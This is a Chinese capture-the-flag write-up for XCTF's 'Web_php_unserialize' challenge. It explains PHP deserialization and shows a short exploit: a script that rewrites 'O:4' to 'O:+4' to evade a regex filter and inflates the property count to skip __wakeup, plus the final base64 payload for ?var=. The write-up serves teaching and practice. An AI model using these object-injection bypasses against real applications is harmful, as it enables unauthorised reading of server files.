XCTF-Web_php_unserialize
访问查看
是一道经典的反序列化题目,尝试解题,大概一下脚本,需要传入var
进行反序列化
- php代码会先将
var
传入的值进行base64
解码, - 然后进行
perg_match()
正则匹配判断,如果匹配成立就执行die()
方法终止脚本运行 - 使用
unserialize()
方法反序列化我们传入的值 __wakeup()
在反序列化时候执行将$file
变量赋值为index.php
__destruct
在程序销毁的时候使用highlight_file()
方法查看$file
文件的内容
这里我们的目标就明确了,更改$file
值的内容fl4g.php
(在注释中),需要绕过两个条件:
preg_match()
正则匹配- 改题目匹配的条件就是
/[oc]:\d+:/i
,左右两个/
代表这是正则匹配的条件,里面[oc]
代表使用o
或c
开头,然后后面匹配:
,然后d+
匹配一个或者多个数字
,最后匹配一个冒号,最后/
后面的i
代表不区分大小写 - 最后匹配的条件举例如下:
O:1234:
、O:510:
、C:4321:
- 改题目匹配的条件就是
__wakeup()
初始化赋值- 使用常见的
CVE
绕过
- 使用常见的
上述中,我们反序列化后的对象一般都是O:4:
开头,所以需要绕过。在PHP
中,O:4:
和O:+4:
的意思是一样的,所以最后脚本如下
<?php
class Demo {
private $file = 'fl4g.php';
}
$new = new Demo();
$ser = serialize($new);
// 替换绕过 preg_match
$ser = str_replace("O:4","O:+4",$ser);
// 替换绕过 wakeup
$ser = str_replace(":1:",":2:",$ser);
print(base64_encode($ser));
?>
使用地址栏传入var
的值
payload:?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==